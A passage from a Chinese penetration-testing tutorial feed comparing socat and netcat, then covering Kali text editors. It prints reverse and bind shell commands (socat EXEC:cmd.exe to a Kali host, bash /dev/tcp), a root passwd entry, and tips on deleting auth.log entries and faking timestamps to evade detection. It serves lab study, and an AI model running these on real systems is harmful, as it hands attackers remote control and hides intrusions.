&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;串口与网络互通&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 虚拟串口转 TCP 客户端&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;socat PTY,link&lt;span class="o"&gt;=&lt;/span&gt;/dev/ttyV1 TCP:192.168.1.1:8080
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="二socat-与-netcat-的关键区别"&gt;&lt;strong&gt;二、Socat 与 Netcat 的关键区别&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-功能复杂度"&gt;&lt;strong&gt;1. 功能复杂度&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;Netcat&lt;/strong&gt;：&lt;br&gt;
定位为“网络瑞士军刀”，核心功能是 TCP/UDP 连接的建立和简单数据传输，适合快速调试或端口扫描。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc -lvp &lt;span class="m"&gt;1234&lt;/span&gt; &lt;span class="c1"&gt;# 监听端口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;nc -nv 192.168.1.1 &lt;span class="m"&gt;80&lt;/span&gt; &lt;span class="c1"&gt;# 连接目标端口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;Socat&lt;/strong&gt;：&lt;br&gt;
支持更复杂的协议（如 SSL、SOCKS）、双向通信、多路复用，且能处理文件、设备等非网络数据流。&lt;/p&gt;
&lt;h4 id="2-安全性"&gt;&lt;strong&gt;2. 安全性&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;Netcat&lt;/strong&gt;：&lt;br&gt;
无加密支持，流量明文传输，易被拦截。
• &lt;strong&gt;Socat&lt;/strong&gt;：&lt;br&gt;
支持 SSL/TLS 加密、chroot 沙盒隔离，适用于敏感数据传输。&lt;/p&gt;
&lt;h4 id="3-高级特性"&gt;&lt;strong&gt;3. 高级特性&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;协议支持&lt;/strong&gt;：&lt;br&gt;
Socat 支持 IPv6、UNIX 域套接字、代理转发（如 SOCKS4）等，Netcat 仅限 TCP/UDP。
• &lt;strong&gt;实时监控&lt;/strong&gt;：&lt;br&gt;
Socat 可通过 &lt;code&gt;-u&lt;/code&gt; 参数实现单向流监控（如日志收集），Netcat 需依赖外部工具。&lt;/p&gt;
&lt;h4 id="4-适用场景"&gt;&lt;strong&gt;4. 适用场景&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;Netcat&lt;/strong&gt;：&lt;br&gt;
快速端口测试、简单文件传输、网络服务调试。
• &lt;strong&gt;Socat&lt;/strong&gt;：&lt;br&gt;
加密通信、复杂端口转发、设备与网络协议桥接（如串口转 TCP）。&lt;/p&gt;
&lt;h2 id="socat-实战方案"&gt;&lt;strong&gt;socat&lt;/strong&gt; 实战方案：
&lt;/h2&gt;&lt;h3 id="1-使用-socat-从-kali-传输-powercatps1-到-windows-系统"&gt;&lt;strong&gt;1. 使用 socat 从 Kali 传输 powercat.ps1 到 Windows 系统&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="操作步骤"&gt;&lt;strong&gt;操作步骤：&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;在 Kali 上启动文件接收监听&lt;/strong&gt;（使用 TCP 协议）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;socat TCP4-LISTEN:443,fork file:222.txt 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;code&gt;TCP-LISTEN:443&lt;/code&gt;：在 443端口监听。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;在 Windows 上发送文件&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;socat.exe TCP:&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;Kali_IP&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;:443 file:222.txt,create
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• 替换 &lt;code&gt;&amp;lt;Kali_IP&amp;gt;&lt;/code&gt; 为 Kali 的 IP 地址。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="验证"&gt;&lt;strong&gt;验证&lt;/strong&gt;：
&lt;/h4&gt;&lt;p&gt;Windows 的当前目录会生成 &lt;code&gt;222.txt&lt;/code&gt; 文件，可用 &lt;code&gt;dir&lt;/code&gt; 确认，&lt;code&gt;type&lt;/code&gt;查看。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250411224707342" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250411224707342.png"&gt;&lt;/p&gt;
&lt;h3 id="2-使用-socat-创建加密反向-shellwindows--kali"&gt;&lt;strong&gt;2. 使用 socat 创建加密反向 Shell（Windows → Kali）&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="操作步骤-1"&gt;&lt;strong&gt;操作步骤：&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;在 Kali 上生成 SSL 证书&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days &lt;span class="m"&gt;365&lt;/span&gt; -nodes
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• 合并证书和密钥：&lt;code&gt;cat key.pem cert.pem &amp;gt; shell.pem&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250411222443774" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250411222443774.png"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;在 Kali 启动加密监听&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;socat OPENSSL-LISTEN:5555,cert&lt;span class="o"&gt;=&lt;/span&gt;shell.pem,verify&lt;span class="o"&gt;=&lt;/span&gt;0,fork -
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;code&gt;verify=0&lt;/code&gt;：禁用证书验证（仅测试环境使用）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;在 Windows 连接加密反向 Shell&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;socat.exe OPENSSL:&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;Kali_IP&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;:5555,verify=0 EXEC:cmd.exe,pipes
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;code&gt;EXEC:cmd.exe,pipes&lt;/code&gt;：执行 cmd.exe 并处理输入输出流。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="验证-1"&gt;&lt;strong&gt;验证&lt;/strong&gt;：
&lt;/h4&gt;&lt;p&gt;Kali 终端会接收到加密的交互式 Shell，可执行 Windows 命令。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250411223911041" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250411223911041.png"&gt;&lt;/p&gt;
&lt;h3 id="3-创建加密的-bind-shell-并测试非加密连接"&gt;&lt;strong&gt;3. 创建加密的 Bind Shell 并测试非加密连接&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="操作步骤-2"&gt;&lt;strong&gt;操作步骤：&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;在 Windows 上启动加密 Bind Shell&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;socat.exe OPENSSL-LISTEN:6666,cert=shell.pem,verify=0,fork EXEC:cmd.exe,pipes
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• 需提前将 &lt;code&gt;shell.pem&lt;/code&gt; 证书文件复制到 Windows 系统。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;尝试从 Kali 非加密连接&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;socat OPENSSL:192.168.169.128:6666,verify&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt; -
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• 若未加密，连接会失败（显示 SSL 握手错误）。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250411225952562" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250411225952562.png"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="结论"&gt;&lt;strong&gt;结论&lt;/strong&gt;：
&lt;/h4&gt;&lt;p&gt;加密的 Bind Shell 必须通过 SSL 协议连接，非加密连接无法工作。&lt;/p&gt;
&lt;h3 id="4-创建未加密的-bind-shell-并用-netcat-连接"&gt;&lt;strong&gt;4. 创建未加密的 Bind Shell 并用 Netcat 连接&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="操作步骤-3"&gt;&lt;strong&gt;操作步骤：&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;在 Windows 上启动未加密 Bind Shell&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;socat.exe TCP-LISTEN:7777,fork EXEC:cmd.exe,pipes
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;从 Kali 使用 Netcat 连接&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc -nv &amp;lt;Windows_IP&amp;gt; &lt;span class="m"&gt;7777&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• 直接连接后，&lt;strong&gt;Netcat 无法正确处理交互式 Shell&lt;/strong&gt;（命令无回显或卡死）。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250411230440869" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250411230440869.png"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="解决方法"&gt;&lt;strong&gt;解决方法&lt;/strong&gt;：
&lt;/h4&gt;&lt;p&gt;使用 &lt;code&gt;socat&lt;/code&gt; 替代 Netcat 连接：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;socat TCP:&amp;lt;Windows_IP&amp;gt;:7777 -
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;此时可正常操作交互式 Shell。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250411230628284" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250411230628284.png"&gt;&lt;/p&gt;
&lt;h4 id="结论-1"&gt;&lt;strong&gt;结论&lt;/strong&gt;：
&lt;/h4&gt;&lt;p&gt;Netcat 无法直接与未加密的 &lt;code&gt;EXEC&lt;/code&gt; 型 Bind Shell 兼容，需使用 &lt;code&gt;socat&lt;/code&gt; 或调整参数（如添加 &lt;code&gt;pty&lt;/code&gt;）。&lt;/p&gt;
&lt;h3 id="常见错误与修复"&gt;&lt;strong&gt;常见错误与修复&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;• &lt;strong&gt;问题&lt;/strong&gt;：&lt;code&gt;cmd.exe&lt;/code&gt; 未执行，提示权限或参数错误。&lt;br&gt;
• &lt;strong&gt;修复&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;添加 &lt;code&gt;pipes&lt;/code&gt; 参数处理输入输出流（如 &lt;code&gt;EXEC:cmd.exe,pipes&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;pty&lt;/code&gt; 分配虚拟终端（如 &lt;code&gt;EXEC:cmd.exe,pty&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;检查防火墙是否放行端口。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="总结"&gt;&lt;strong&gt;总结&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;• &lt;strong&gt;加密传输与 Shell&lt;/strong&gt;：必须使用 SSL 证书，否则无法通信。&lt;br&gt;
• &lt;strong&gt;Netcat 兼容性&lt;/strong&gt;：仅适用于简单 TCP 连接，复杂交互需依赖 &lt;code&gt;socat&lt;/code&gt;。&lt;br&gt;
• &lt;strong&gt;参数调整&lt;/strong&gt;：&lt;code&gt;EXEC&lt;/code&gt; 需配合 &lt;code&gt;pipes&lt;/code&gt; 或 &lt;code&gt;pty&lt;/code&gt; 处理 Shell 交互。&lt;/p&gt;
&lt;p&gt;以上步骤基于 &lt;strong&gt;Kali 2025.1a&lt;/strong&gt; 和 &lt;strong&gt;Windows 10/11&lt;/strong&gt; 环境验证。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day7 Kali文本编辑、比较不同、监控、下载、历史命令</title><link>https://ruajingjing.top/post/day7-kali%E6%96%87%E6%9C%AC%E7%BC%96%E8%BE%91-%E6%AF%94%E8%BE%83%E4%B8%8D%E5%90%8C-%E7%9B%91%E6%8E%A7-%E4%B8%8B%E8%BD%BD-%E5%8E%86%E5%8F%B2%E5%91%BD%E4%BB%A4/</link><pubDate>Thu, 10 Apr 2025 23:20:31 +0000</pubDate><guid>https://ruajingjing.top/post/day7-kali%E6%96%87%E6%9C%AC%E7%BC%96%E8%BE%91-%E6%AF%94%E8%BE%83%E4%B8%8D%E5%90%8C-%E7%9B%91%E6%8E%A7-%E4%B8%8B%E8%BD%BD-%E5%8E%86%E5%8F%B2%E5%91%BD%E4%BB%A4/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day7 Kali文本编辑、比较不同、监控、下载、历史命令" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注 &lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="文本编辑器"&gt;文本编辑器
&lt;/h2&gt;&lt;p&gt;在Kali Linux中，文本编辑器是渗透测试和系统配置的核心工具。&lt;/p&gt;
&lt;h3 id="一nano编辑器轻量级快速操作"&gt;一、Nano编辑器：轻量级快速操作
&lt;/h3&gt;&lt;h4 id="1-基础操作"&gt;1. &lt;strong&gt;基础操作&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;文件操作&lt;/strong&gt;&lt;br&gt;
• 新建/打开文件：&lt;code&gt;nano 文件名&lt;/code&gt;（支持路径跳转）&lt;br&gt;
• 保存文件：&lt;code&gt;Ctrl+O&lt;/code&gt; → 回车确认文件名&lt;br&gt;
• 退出：&lt;code&gt;Ctrl+X&lt;/code&gt;（未保存时会提示）&lt;/p&gt;
&lt;p&gt;• &lt;strong&gt;文本编辑&lt;/strong&gt;&lt;br&gt;
• 剪切行：&lt;code&gt;Ctrl+K&lt;/code&gt;&lt;br&gt;
• 粘贴：&lt;code&gt;Ctrl+U&lt;/code&gt;&lt;br&gt;
• 搜索：&lt;code&gt;Ctrl+W&lt;/code&gt; → 输入关键词，&lt;code&gt;Alt+W&lt;/code&gt;跳转下一个匹配项&lt;/p&gt;
&lt;h4 id="2-渗透向高级技巧"&gt;2. &lt;strong&gt;渗透向高级技巧&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;快速执行系统命令&lt;/strong&gt;&lt;br&gt;
在编辑界面按&lt;code&gt;Ctrl+T&lt;/code&gt;，可直接执行Shell命令（如生成Payload或测试网络连接）。&lt;/p&gt;
&lt;p&gt;• &lt;strong&gt;修改敏感文件提权&lt;/strong&gt;&lt;br&gt;
例如通过&lt;code&gt;sudo nano /etc/passwd&lt;/code&gt;添加UID=0的用户（需root权限）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;testuser:x:0:0::/root:/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;配置文件篡改&lt;/strong&gt;&lt;br&gt;
使用&lt;code&gt;nano&lt;/code&gt;快速编辑SSH配置（&lt;code&gt;/etc/ssh/sshd_config&lt;/code&gt;）或Web服务日志路径，隐藏攻击痕迹。&lt;/p&gt;
&lt;h4 id="3-效率优化配置"&gt;3. &lt;strong&gt;效率优化配置&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;启用语法高亮 &amp;amp; 行号&lt;/strong&gt;&lt;br&gt;
修改&lt;code&gt;~/.nanorc&lt;/code&gt;，添加：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="na"&gt;include &amp;#34;/usr/share/nano/*.nanorc&amp;#34; # 语法高亮&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="na"&gt;set linenumbers # 显示行号&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="na"&gt;set mouse # 支持鼠标操作&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="二vivim编辑器渗透测试的瑞士军刀"&gt;二、Vi/Vim编辑器：渗透测试的瑞士军刀
&lt;/h3&gt;&lt;h4 id="1-模式切换与基本操作"&gt;1. &lt;strong&gt;模式切换与基本操作&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;模式切换&lt;/strong&gt;&lt;br&gt;
• 命令模式 → 插入模式：&lt;code&gt;i&lt;/code&gt;（光标前插入）、&lt;code&gt;a&lt;/code&gt;（光标后插入）&lt;br&gt;
• 返回命令模式：&lt;code&gt;Esc&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;• &lt;strong&gt;渗透常用操作&lt;/strong&gt;&lt;br&gt;
• &lt;strong&gt;批量替换&lt;/strong&gt;：&lt;code&gt;:%s/old/new/g&lt;/code&gt;（替换文件内所有匹配项）&lt;br&gt;
• &lt;strong&gt;快速跳转&lt;/strong&gt;：&lt;code&gt;:行号&lt;/code&gt;（如&lt;code&gt;:100&lt;/code&gt;跳至第100行）&lt;br&gt;
• &lt;strong&gt;执行外部命令&lt;/strong&gt;：&lt;code&gt;:!命令&lt;/code&gt;（如&lt;code&gt;:!nmap 192.168.1.1&lt;/code&gt;扫描目标）&lt;/p&gt;
&lt;h4 id="2-渗透实战场景"&gt;2. &lt;strong&gt;渗透实战场景&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;日志分析与篡改&lt;/strong&gt;&lt;br&gt;
使用&lt;code&gt;vim&lt;/code&gt;打开日志文件（如&lt;code&gt;/var/log/auth.log&lt;/code&gt;），通过&lt;code&gt;/Failed password&lt;/code&gt;快速定位爆破尝试记录并删除。&lt;/p&gt;
&lt;p&gt;• &lt;strong&gt;提权漏洞利用&lt;/strong&gt;&lt;br&gt;
编辑SUID文件或Cron任务脚本，插入反向Shell代码：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;bash -i &amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt; /dev/tcp/攻击机IP/端口 0&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;多文件协同编辑&lt;/strong&gt;&lt;br&gt;
在渗透测试中同时操作多个配置文件，用&lt;code&gt;:e 文件名&lt;/code&gt;切换文件，&lt;code&gt;:sp&lt;/code&gt;分屏查看。&lt;/p&gt;
&lt;h4 id="3-高级功能配置"&gt;3. &lt;strong&gt;高级功能配置&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;启用行号与搜索高亮&lt;/strong&gt;&lt;br&gt;
在&lt;code&gt;~/.vimrc&lt;/code&gt;中添加：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-vim" data-lang="vim"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;set&lt;/span&gt; &lt;span class="nx"&gt;number&lt;/span&gt; &lt;span class="c"&gt;&amp;#34; 显示行号&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;set&lt;/span&gt; &lt;span class="nx"&gt;hlsearch&lt;/span&gt; &lt;span class="c"&gt;&amp;#34; 高亮搜索结果&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;syntax&lt;/span&gt; &lt;span class="nx"&gt;on&lt;/span&gt; &lt;span class="c"&gt;&amp;#34; 语法高亮&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="三命令速查表渗透向"&gt;三、命令速查表（渗透向）
&lt;/h3&gt;&lt;p&gt;| 功能 | Nano命令 | Vim命令 | 渗透用途 |
| - | | &amp;ndash; | |
| &lt;strong&gt;保存并退出&lt;/strong&gt; | &lt;code&gt;Ctrl+X&lt;/code&gt; → &lt;code&gt;Y&lt;/code&gt; | &lt;code&gt;:wq&lt;/code&gt; | 快速修改后退出 |
| &lt;strong&gt;搜索关键词&lt;/strong&gt; | &lt;code&gt;Ctrl+W&lt;/code&gt; | &lt;code&gt;/关键词&lt;/code&gt; | 定位配置文件中的敏感参数 |
| &lt;strong&gt;执行系统命令&lt;/strong&gt; | &lt;code&gt;Ctrl+T&lt;/code&gt; | &lt;code&gt;:!命令&lt;/code&gt; | 生成Payload或测试网络连通性 |
| &lt;strong&gt;批量替换&lt;/strong&gt; | &lt;code&gt;Ctrl+\&lt;/code&gt; → 输入替换词 | &lt;code&gt;:%s/old/new/g&lt;/code&gt; | 篡改日志或配置文件内容 |
| &lt;strong&gt;提权操作&lt;/strong&gt; | &lt;code&gt;sudo nano /etc/sudoers&lt;/code&gt; | &lt;code&gt;vim /etc/passwd&lt;/code&gt; | 添加特权用户或SUID权限 |&lt;/p&gt;
&lt;h3 id="四注意事项"&gt;四、注意事项
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;权限管理&lt;/strong&gt;：渗透测试中编辑系统文件需配合&lt;code&gt;sudo&lt;/code&gt;，避免因权限不足中断操作。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;备份机制&lt;/strong&gt;：使用&lt;code&gt;nano -B&lt;/code&gt;或&lt;code&gt;:w 备份文件名&lt;/code&gt;保留原始文件，防止误操作。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;日志清理&lt;/strong&gt;：通过编辑器删除日志后，需清除文件时间戳（&lt;code&gt;touch -r&lt;/code&gt;）以规避检测。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;通过灵活运用这些技巧，你可以显著提升在Kali Linux中的渗透测试效率。如需更完整的命令列表，可参考&lt;code&gt;man nano&lt;/code&gt;或&lt;code&gt;vimtutor&lt;/code&gt;。&lt;/p&gt;
&lt;h2 id="比较不同的方法和命令"&gt;比较不同的方法和命令
&lt;/h2&gt;&lt;h4 id="1-下载并解压扫描文件"&gt;&lt;strong&gt;1. 下载并解压扫描文件&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 下载文件&lt;/span&gt;
